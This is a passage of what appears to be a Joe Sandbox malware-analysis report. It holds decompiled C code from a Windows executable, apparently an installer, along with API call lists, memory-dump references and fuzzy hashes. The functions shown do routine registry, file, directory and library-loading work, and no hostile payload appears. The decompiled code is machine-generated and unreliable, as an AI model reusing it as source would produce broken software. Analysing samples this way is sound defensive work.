                                                          						E00403628( &_v20, _v16, 0, __eflags);
                                                          						_t59 = RegQueryValueExA(_t91, _t89, 0,  &_v12, E0040388C( &_v20),  &_v16); // executed
                                                          						__eflags = _t59 - 0xea;
                                                          						if(__eflags == 0) {
                                                          							continue;
                                                          						}
                                                          						__eflags = _t59;
                                                          						if(_t59 != 0) {
                                                          							break;
                                                          						}
                                                          						__eflags = _v12 - _a8;
                                                          						if(_v12 == _a8) {
                                                          							while(1) {
                                                          								L12:
                                                          								__eflags = _v16;
                                                          								if(_v16 == 0) {
                                                          									break;
                                                          								}
                                                          								_t67 = _v20;
                                                          								_t87 = _v16;
                                                          								__eflags =  *((char*)(_t67 + _t87 - 1));
                                                          								if( *((char*)(_t67 + _t87 - 1)) == 0) {
                                                          									_t21 =  &_v16;
                                                          									 *_t21 = _v16 - 1;
                                                          									__eflags =  *_t21;
                                                          									continue;
                                                          								}
                                                          								break;
                                                          							}
                                                          							__eflags = _v12 - 7;
                                                          							if(_v12 == 7) {
                                                          								__eflags = _v16;
                                                          								if(_v16 != 0) {
                                                          									_t30 =  &_v16;
                                                          									 *_t30 = _v16 + 1;
                                                          									__eflags =  *_t30;
                                                          								}
                                                          							}
                                                          							E004039EC( &_v20, _v16);
                                                          							__eflags = _v12 - 7;
                                                          							if(_v12 == 7) {
                                                          								__eflags = _v16;
                                                          								if(_v16 != 0) {
                                                          									(E0040388C( &_v20))[_v16 - 1] = 0;
                                                          								}
                                                          							}
                                                          							E00403598(_v8, 0, _v20, _t89, _t91);
                                                          							break;
                                                          						}
                                                          						__eflags = _v12 - _a4;
                                                          						if(_v12 != _a4) {
                                                          							break;
                                                          						}
                                                          						goto L12;
                                                          					} else {
                                                          						E00403548(_v8);
                                                          						break;
                                                          					}
                                                          				}
                                                          				_pop(_t82);
                                                          				 *[fs:eax] = _t82;
                                                          				_push(E0042DCAC);
                                                          				return E00403548( &_v20);
                                                          			}















                                                          0x0042db8f
                                                          0x0042db92
                                                          0x0042db95
                                                          0x0042db97
                                                          0x0042db9b
                                                          0x0042db9c
                                                          0x0042dba1
                                                          0x0042dba4
                                                          0x0042dba9
                                                          0x0042dbab
                                                          0x0042dbbc
                                                          0x0042dbc3
                                                          0x00000000
                                                          0x00000000
                                                          0x0042dbe1
                                                          0x0042dbfa
                                                          0x0042dc14
                                                          0x0042dc19
                                                          0x0042dc1e
                                                          0x00000000
                                                          0x00000000
                                                          0x0042dc20
                                                          0x0042dc22
                                                          0x00000000
                                                          0x00000000
                                                          0x0042dc27
                                                          0x0042dc2a
                                                          0x0042dc39
                                                          0x0042dc39
                                                          0x0042dc39
                                                          0x0042dc3d
                                                          0x00000000
                                                          0x00000000
                                                          0x0042dc3f
                                                          0x0042dc42
                                                          0x0042dc45
                                                          0x0042dc4a
                                                          0x0042dc36
                                                          0x0042dc36
                                                          0x0042dc36
                                                          0x00000000
                                                          0x0042dc36
                                                          0x00000000
                                                          0x0042dc4a
                                                          0x0042dc4c
                                                          0x0042dc50
                                                          0x0042dc52
                                                          0x0042dc56
                                                          0x0042dc58
                                                          0x0042dc58
                                                          0x0042dc58
                                                          0x0042dc58
                                                          0x0042dc56
                                                          0x0042dc61
                                                          0x0042dc66
                                                          0x0042dc6a
                                                          0x0042dc6c
                                                          0x0042dc70
                                                          0x0042dc7d
                                                          0x0042dc7d
                                                          0x0042dc70
                                                          0x0042dc88
                                                          0x00000000
                                                          0x0042dc8d
                                                          0x0042dc2f
                                                          0x0042dc32
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042dbe3
                                                          0x0042dbe6
                                                          0x00000000
                                                          0x0042dbeb
                                                          0x0042dbe1
                                                          0x0042dc91
                                                          0x0042dc94
                                                          0x0042dc97
                                                          0x0042dca4

                                                          APIs
                                                          • RegQueryValueExA.ADVAPI32(?,0042E544,00000000,00000000,00000000,?,00000000,0042DCA5,?,?,00000000,00000000), ref: 0042DBBC
                                                          • RegQueryValueExA.ADVAPI32(?,0042E544,00000000,00000000,00000000,00000000,?,0042E544,00000000,00000000,00000000,?,00000000,0042DCA5), ref: 0042DC14
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: QueryValue
                                                          • String ID:
                                                          • API String ID: 3660427363-0
                                                          • Opcode ID: f42e1d5e97efe8341641d1a4687253219fd58113813f9f83cbdbd2cf027060a1
                                                          • Instruction ID: b05b9b7cade200c37731d16769ab28c2d5e698a7719e39f3a2ebee64e07680a7
                                                          • Opcode Fuzzy Hash: f42e1d5e97efe8341641d1a4687253219fd58113813f9f83cbdbd2cf027060a1
                                                          • Instruction Fuzzy Hash: 40412C70E00128BFDB25DF96D885BEFBBB9EB05304F908577E410E6290D778AA44CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E0042DE2C(char __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				char _v5;
                                                          				intOrPtr _v12;
                                                          				intOrPtr _v16;
                                                          				void* _v20;
                                                          				char _v24;
                                                          				int _v28;
                                                          				void* _t35;
                                                          				long _t44;
                                                          				long _t51;
                                                          				void* _t53;
                                                          				int _t61;
                                                          				intOrPtr _t75;
                                                          				intOrPtr _t79;
                                                          				void* _t85;
                                                          				void* _t86;
                                                          				intOrPtr _t87;
                                                          
                                                          				_t83 = __esi;
                                                          				_t82 = __edi;
                                                          				_t85 = _t86;
                                                          				_t87 = _t86 + 0xffffffe8;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v24 = 0;
                                                          				_v16 = __ecx;
                                                          				_v12 = __edx;
                                                          				_v5 = __eax;
                                                          				_push(_t85);
                                                          				_push(0x42df57);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t87;
                                                          				if( *0x48c0e0 != 2) {
                                                          					L10:
                                                          					E0042DDB0(_v5, _v16, _v12);
                                                          					__eflags = 0;
                                                          					_pop(_t75);
                                                          					 *[fs:eax] = _t75;
                                                          					_push(E0042DF5E);
                                                          					return E00403548( &_v24);
                                                          				} else {
                                                          					_t35 = E0042DD88(_v5, _v16, _v12,  &_v20, 8, 0); // executed
                                                          					_t89 = _t35;
                                                          					if(_t35 != 0) {
                                                          						goto L10;
                                                          					} else {
                                                          						_push(_t85);
                                                          						_push(0x42df2a);
                                                          						_push( *[fs:edx]);
                                                          						 *[fs:edx] = _t87;
                                                          						E00403628( &_v24, 0x100, 0, _t89);
                                                          						_t61 = 0;
                                                          						while(1) {
                                                          							L3:
                                                          							_v28 = E004036BC(_v24);
                                                          							_t44 = RegEnumKeyExA(_v20, _t61, E0040388C( &_v24),  &_v28, 0, 0, 0, 0);
                                                          							if(_t44 != 0xea) {
                                                          								break;
                                                          							}
                                                          							_t53 = E004036BC(_v24);
                                                          							_t92 = _t53 - 0x10000;
                                                          							if(_t53 < 0x10000) {
                                                          								E00403628( &_v24, E004036BC(_v24) + _t55, 0, _t92);
                                                          								continue;
                                                          							}
                                                          							L9:
                                                          							__eflags = 0;
                                                          							_pop(_t79);
                                                          							 *[fs:eax] = _t79;
                                                          							_push(E0042DF31);
                                                          							return RegCloseKey(_v20);
                                                          							goto L11;
                                                          						}
                                                          						__eflags = _t44;
                                                          						if(_t44 == 0) {
                                                          							_t51 = E0042DE2C(_v5, _t61, E00403880(_v24), _v20, _t82, _t83);
                                                          							__eflags = _t51;
                                                          							if(_t51 != 0) {
                                                          								_t61 = _t61 + 1;
                                                          							}
                                                          							goto L3;
                                                          						}
                                                          						goto L9;
                                                          					}
                                                          				}
                                                          				L11:
                                                          			}



















                                                          0x0042de2c
                                                          0x0042de2c
                                                          0x0042de2d
                                                          0x0042de2f
                                                          0x0042de32
                                                          0x0042de33
                                                          0x0042de34
                                                          0x0042de37
                                                          0x0042de3a
                                                          0x0042de3d
                                                          0x0042de40
                                                          0x0042de45
                                                          0x0042de46
                                                          0x0042de4b
                                                          0x0042de4e
                                                          0x0042de58
                                                          0x0042df31
                                                          0x0042df3a
                                                          0x0042df41
                                                          0x0042df43
                                                          0x0042df46
                                                          0x0042df49
                                                          0x0042df56
                                                          0x0042de5e
                                                          0x0042de6f
                                                          0x0042de74
                                                          0x0042de76
                                                          0x00000000
                                                          0x0042de7c
                                                          0x0042de7e
                                                          0x0042de7f
                                                          0x0042de84
                                                          0x0042de87
                                                          0x0042de94
                                                          0x0042de99
                                                          0x0042de9b
                                                          0x0042de9b
                                                          0x0042dea3
                                                          0x0042dec0
                                                          0x0042deca
                                                          0x00000000
                                                          0x00000000
                                                          0x0042decf
                                                          0x0042ded4
                                                          0x0042ded9
                                                          0x0042deec
                                                          0x00000000
                                                          0x0042deec
                                                          0x0042df13
                                                          0x0042df13
                                                          0x0042df15
                                                          0x0042df18
                                                          0x0042df1b
                                                          0x0042df29
                                                          0x00000000
                                                          0x0042df29
                                                          0x0042def3
                                                          0x0042def5
                                                          0x0042df07
                                                          0x0042df0c
                                                          0x0042df0e
                                                          0x0042df10
                                                          0x0042df10
                                                          0x00000000
                                                          0x0042df0e
                                                          0x00000000
                                                          0x0042def5
                                                          0x0042de76
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegEnumKeyExA.ADVAPI32 ref: 0042DEC0
                                                          • RegCloseKey.ADVAPI32(?,0042DF31,?,00000000,00000000,00000000,00000000,00000000,0042DF2A,?,?,00000008,00000000,00000000,0042DF57), ref: 0042DF24
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790CloseEnum
                                                          • String ID:
                                                          • API String ID: 3221068419-0
                                                          • Opcode ID: a1ac696ee218a8eeabb0c01c628a63f6c24012838d16b5b5ee1957813050cb3e
                                                          • Instruction ID: 1d2dbbe86b08e495ed275bfdf873bccf740e32e67f72735296cd9aac11293f9a
                                                          • Opcode Fuzzy Hash: a1ac696ee218a8eeabb0c01c628a63f6c24012838d16b5b5ee1957813050cb3e
                                                          • Instruction Fuzzy Hash: A7319530F046056EDB14DFA1DD92BBFB7B8EB49304F91447AF501F3280D6789A058A5C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 65%
                                                          			E00451710(void* __eax, void* __ecx, void* __edx, void* __eflags) {
                                                          				intOrPtr _v8;
                                                          				char _v16;
                                                          				long _v20;
                                                          				intOrPtr _t14;
                                                          				intOrPtr _t29;
                                                          				void* _t37;
                                                          				void* _t39;
                                                          				intOrPtr _t40;
                                                          
                                                          				_t37 = _t39;
                                                          				_t40 = _t39 + 0xfffffff0;
                                                          				if(E00451338(__eax,  &_v16) != 0) {
                                                          					_push(_t37);
                                                          					_push(0x451778);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t40;
                                                          					_push(E00403880(__ecx));
                                                          					_t14 = E00403880(__edx);
                                                          					L00405B7C(); // executed
                                                          					_v8 = _t14;
                                                          					_v20 = GetLastError();
                                                          					_t29 = _t14;
                                                          					 *[fs:eax] = _t29;
                                                          					_push(0x45177f);
                                                          					return E00451374( &_v16);
                                                          				} else {
                                                          					_v8 = 0;
                                                          					return _v8;
                                                          				}
                                                          			}











                                                          0x00451711
                                                          0x00451713
                                                          0x0045172b
                                                          0x00451736
                                                          0x00451737
                                                          0x0045173c
                                                          0x0045173f
                                                          0x00451749
                                                          0x0045174c
                                                          0x00451752
                                                          0x00451757
                                                          0x0045175f
                                                          0x00451764
                                                          0x00451767
                                                          0x0045176a
                                                          0x00451777
                                                          0x0045172d
                                                          0x0045172f
                                                          0x00451791
                                                          0x00451791

                                                          APIs
                                                          • 6CAA6060.KERNEL32(00000000,00000000,00000000,00451778), ref: 00451752
                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,00451778), ref: 0045175A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6060ErrorLast
                                                          • String ID:
                                                          • API String ID: 2785980116-0
                                                          • Opcode ID: 18c3d30cadab73bf1070bb3bf14be97b990e8ccd315e465bb6474ee619487409
                                                          • Instruction ID: 7b115dc6eb4af6d2ff90c9cc33de5ee4d23a40dcb701f4467ef20231f033a4b0
                                                          • Opcode Fuzzy Hash: 18c3d30cadab73bf1070bb3bf14be97b990e8ccd315e465bb6474ee619487409
                                                          • Instruction Fuzzy Hash: 4401D671A042046B8B00EB7D9C4159EB7ECDB4C75575046BBFC04E3652EA386E04859C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 60%
                                                          			E00451384(void* __eax, void* __edx, void* __eflags) {
                                                          				int _v8;
                                                          				char _v16;
                                                          				long _v20;
                                                          				int _t13;
                                                          				intOrPtr _t27;
                                                          				void* _t32;
                                                          				void* _t34;
                                                          				intOrPtr _t35;
                                                          
                                                          				_t32 = _t34;
                                                          				_t35 = _t34 + 0xfffffff0;
                                                          				if(E00451338(__eax,  &_v16) != 0) {
                                                          					_push(_t32);
                                                          					_push(0x4513e3);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t35;
                                                          					_t13 = CreateDirectoryA(E00403880(__edx), 0); // executed
                                                          					_v8 = _t13;
                                                          					_v20 = GetLastError();
                                                          					_pop(_t27);
                                                          					 *[fs:eax] = _t27;
                                                          					_push(0x4513ea);
                                                          					return E00451374( &_v16);
                                                          				} else {
                                                          					_v8 = 0;
                                                          					return _v8;
                                                          				}
                                                          			}











                                                          0x00451385
                                                          0x00451387
                                                          0x0045139c
                                                          0x004513a7
                                                          0x004513a8
                                                          0x004513ad
                                                          0x004513b0
                                                          0x004513bd
                                                          0x004513c2
                                                          0x004513ca
                                                          0x004513cf
                                                          0x004513d2
                                                          0x004513d5
                                                          0x004513e2
                                                          0x0045139e
                                                          0x004513a0
                                                          0x004513fb
                                                          0x004513fb

                                                          APIs
                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004513E3), ref: 004513BD
                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,004513E3), ref: 004513C5
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectoryErrorLast
                                                          • String ID:
                                                          • API String ID: 1375471231-0
                                                          • Opcode ID: 5bb56d0f40f296cbfc6b3b0335c0770981ede88c196a0ff6712b2ee2d6c041b9
                                                          • Instruction ID: 938ba35df382dfcdfb9beefa2307b431f0e3cf11fdaf46bac0731064f7af7702
                                                          • Opcode Fuzzy Hash: 5bb56d0f40f296cbfc6b3b0335c0770981ede88c196a0ff6712b2ee2d6c041b9
                                                          • Instruction Fuzzy Hash: 89F02831A04304ABEB00EFB59C61A9EB7E8EB09311B1046BBFC04E3A52E63D5E04859C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00423454(void* __eax) {
                                                          				struct HICON__* _t5;
                                                          				void* _t7;
                                                          				void* _t8;
                                                          				struct HINSTANCE__* _t11;
                                                          				CHAR** _t12;
                                                          				void* _t13;
                                                          
                                                          				_t13 = __eax;
                                                          				 *((intOrPtr*)(_t13 + 0x38)) = LoadCursorA(0, 0x7f00);
                                                          				_t8 = 0xffffffec;
                                                          				_t12 = 0x48c5e8;
                                                          				do {
                                                          					if(_t8 < 0xffffffef || _t8 > 0xfffffff4) {
                                                          						_t11 = 0;
                                                          					} else {
                                                          						_t11 =  *0x48d014; // 0x400000
                                                          					}
                                                          					_t5 = LoadCursorA(_t11,  *_t12); // executed
                                                          					_t7 = E00423548(_t13, _t5, _t8);
                                                          					_t8 = _t8 + 1;
                                                          					_t12 =  &(_t12[1]);
                                                          				} while (_t8 != 0xffffffff);
                                                          				return _t7;
                                                          			}









                                                          0x00423458
                                                          0x00423466
                                                          0x00423469
                                                          0x0042346e
                                                          0x00423473
                                                          0x00423476
                                                          0x00423485
                                                          0x0042347d
                                                          0x0042347d
                                                          0x0042347d
                                                          0x0042348b
                                                          0x00423496
                                                          0x0042349b
                                                          0x0042349c
                                                          0x0042349f
                                                          0x004234a8

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CursorLoad
                                                          • String ID:
                                                          • API String ID: 3238433803-0
                                                          • Opcode ID: 6dde000a0a0e34f55f7049b4d6f06950876ffd2d69d58a1a52cb702dc8031ddb
                                                          • Instruction ID: f1cdcf42ee231fc48914d0816d784dbf9fabfab0a5fd518fbdb8f3d8cfa81afc
                                                          • Opcode Fuzzy Hash: 6dde000a0a0e34f55f7049b4d6f06950876ffd2d69d58a1a52cb702dc8031ddb
                                                          • Instruction Fuzzy Hash: 08F0EC21B001242AD6106E7E6CC0E2A7269DB86335BA103BFFD3EC72D1CA2E5D4142ED
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 37%
                                                          			E0042E324(void* __eax, void* __ebx, int __edx) {
                                                          				struct HINSTANCE__* _v12;
                                                          				int _v16;
                                                          				int _t4;
                                                          				struct HINSTANCE__* _t9;
                                                          				void* _t12;
                                                          				intOrPtr _t16;
                                                          				void* _t18;
                                                          				void* _t19;
                                                          				intOrPtr _t20;
                                                          
                                                          				_t18 = _t19;
                                                          				_t20 = _t19 + 0xfffffff4;
                                                          				_t12 = __eax;
                                                          				_t4 = SetErrorMode(__edx); // executed
                                                          				_v16 = _t4;
                                                          				_push(_t18);
                                                          				_push(0x42e396);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t20;
                                                          				asm("fnstcw word [ebp-0x2]");
                                                          				_push(_t18);
                                                          				_push(0x42e378);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t20;
                                                          				_t9 = LoadLibraryA(E00403880(_t12)); // executed
                                                          				_v12 = _t9;
                                                          				_pop(_t16);
                                                          				 *[fs:eax] = _t16;
                                                          				_push(E0042E37F);
                                                          				asm("fclex");
                                                          				asm("fldcw word [ebp-0x2]");
                                                          				return 0;
                                                          			}












                                                          0x0042e325
                                                          0x0042e327
                                                          0x0042e32b
                                                          0x0042e32e
                                                          0x0042e333
                                                          0x0042e338
                                                          0x0042e339
                                                          0x0042e33e
                                                          0x0042e341
                                                          0x0042e344
                                                          0x0042e349
                                                          0x0042e34a
                                                          0x0042e34f
                                                          0x0042e352
                                                          0x0042e35d
                                                          0x0042e362
                                                          0x0042e367
                                                          0x0042e36a
                                                          0x0042e36d
                                                          0x0042e372
                                                          0x0042e374
                                                          0x0042e377

                                                          APIs
                                                          • SetErrorMode.KERNEL32(00008000,00008000), ref: 0042E32E
                                                          • LoadLibraryA.KERNEL32(00000000,00000000,0042E378,?,00000000,0042E396,?,00008000,00008000), ref: 0042E35D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLibraryLoadMode
                                                          • String ID:
                                                          • API String ID: 2987862817-0
                                                          • Opcode ID: 158fc127d9a9c1394863e303c0cf28200bd4273cb2bfef562f60aa1864088080
                                                          • Instruction ID: 08286a8ec40b63e8f204cdaaf7e4e9679ed602366fd05ea0d6980fae83b11ad5
                                                          • Opcode Fuzzy Hash: 158fc127d9a9c1394863e303c0cf28200bd4273cb2bfef562f60aa1864088080
                                                          • Instruction Fuzzy Hash: B2F08270A04744BEDF119F779C5282BBAFCE709B0179348B6FC14A3A91E63C6810C928
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E0045012C(intOrPtr* __eax, long __ecx, void* __edx) {
                                                          				long _v16;
                                                          				int _t7;
                                                          				intOrPtr* _t12;
                                                          
                                                          				_push(__ecx);
                                                          				_t12 = __eax;
                                                          				_t7 = ReadFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
                                                          				if(_t7 == 0 && ( *((char*)(_t12 + 8)) != 0 || GetLastError() != 0x6d)) {
                                                          					E00450118( *_t12);
                                                          				}
                                                          				return _v16;
                                                          			}






                                                          0x0045012f
                                                          0x00450134
                                                          0x00450143
                                                          0x0045014a
                                                          0x0045015e
                                                          0x0045015e
                                                          0x0045016a

                                                          APIs
                                                          • ReadFile.KERNEL32(?,?,00000008,?,00000000,00000008,?,00000008,?,00450180,?,00000000,?,0048A5D0,00000000,0048A62D), ref: 00450143
                                                          • GetLastError.KERNEL32(?,?,00000008,?,00000000,00000008,?,00000008,?,00450180,?,00000000,?,0048A5D0,00000000,0048A62D), ref: 00450152
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorFileLastRead
                                                          • String ID:
                                                          • API String ID: 1948546556-0
                                                          • Opcode ID: e16c3908efde4890701f1087c1e5ca9a9b6fb4c83a84b18f5e4a415587f5e180
                                                          • Instruction ID: 71517902c06dfbff098452ae4836fc59e1cf149d510e443aa95dddc476e99a72
                                                          • Opcode Fuzzy Hash: e16c3908efde4890701f1087c1e5ca9a9b6fb4c83a84b18f5e4a415587f5e180
                                                          • Instruction Fuzzy Hash: 50E092652045106AEB24965A9CC4F6B67DCCBC6325F04407BF904CB243C6A8DC088776
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E004501AC(intOrPtr* __eax, void* __edx) {
                                                          				long _v16;
                                                          				long _v20;
                                                          				long _t8;
                                                          				long _t9;
                                                          				intOrPtr* _t11;
                                                          
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				_t11 = __eax;
                                                          				_t8 = SetFilePointer( *(__eax + 4), _v20,  &_v16, 0); // executed
                                                          				_t9 = _t8 + 1;
                                                          				if(_t9 == 0) {
                                                          					_t9 = GetLastError();
                                                          					if(_t9 != 0) {
                                                          						_t9 = E00450118( *_t11);
                                                          					}
                                                          				}
                                                          				return _t9;
                                                          			}








                                                          0x004501b7
                                                          0x004501b8
                                                          0x004501b9
                                                          0x004501cb
                                                          0x004501d0
                                                          0x004501d1
                                                          0x004501d3
                                                          0x004501da
                                                          0x004501de
                                                          0x004501de
                                                          0x004501da
                                                          0x004501e8

                                                          APIs
                                                          • SetFilePointer.KERNEL32(?,?,?,00000000), ref: 004501CB
                                                          • GetLastError.KERNEL32(?,?,?,00000000), ref: 004501D3
                                                            • Part of subcall function 00450118: GetLastError.KERNEL32(00000001,0044FF96,00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000), ref: 0045011B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$FilePointer
                                                          • String ID:
                                                          • API String ID: 1156039329-0
                                                          • Opcode ID: 007d889ed42475c48677b5fd9ba2e1e9edc28356a9fe93dae6e188575934ee07
                                                          • Instruction ID: b87ea0d377df45749cf1eac7bcc269f7c2b8c01b89412a90b74661ca3192d698
                                                          • Opcode Fuzzy Hash: 007d889ed42475c48677b5fd9ba2e1e9edc28356a9fe93dae6e188575934ee07
                                                          • Instruction Fuzzy Hash: ABE0923A3045016BD610D55DC881A9F37DCDF853A5F044126F954DB182DA66AD048766
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0044FFE4(intOrPtr* __eax, long* __edx) {
                                                          				long _t8;
                                                          				long* _t11;
                                                          				intOrPtr* _t13;
                                                          
                                                          				_t11 = __edx;
                                                          				_t13 = __eax;
                                                          				 *(__edx + 4) = 0;
                                                          				_t8 = SetFilePointer( *(__eax + 4), 0, __edx + 4, 1); // executed
                                                          				 *_t11 = _t8;
                                                          				if( *_t11 == 0xffffffff) {
                                                          					_t8 = GetLastError();
                                                          					if(_t8 != 0) {
                                                          						return E00450118( *_t13);
                                                          					}
                                                          				}
                                                          				return _t8;
                                                          			}






                                                          0x0044ffe6
                                                          0x0044ffe8
                                                          0x0044ffec
                                                          0x0044fffb
                                                          0x00450000
                                                          0x00450005
                                                          0x00450007
                                                          0x0045000e
                                                          0x00000000
                                                          0x00450012
                                                          0x0045000e
                                                          0x00450019

                                                          APIs
                                                          • SetFilePointer.KERNEL32(?,00000000,?,00000001,?,00000001,004508C7,?,00000000,00000000,?,00000001,00000000,00000002,00000000,00475C02), ref: 0044FFFB
                                                          • GetLastError.KERNEL32(?,00000000,?,00000001,?,00000001,004508C7,?,00000000,00000000,?,00000001,00000000,00000002,00000000,00475C02), ref: 00450007
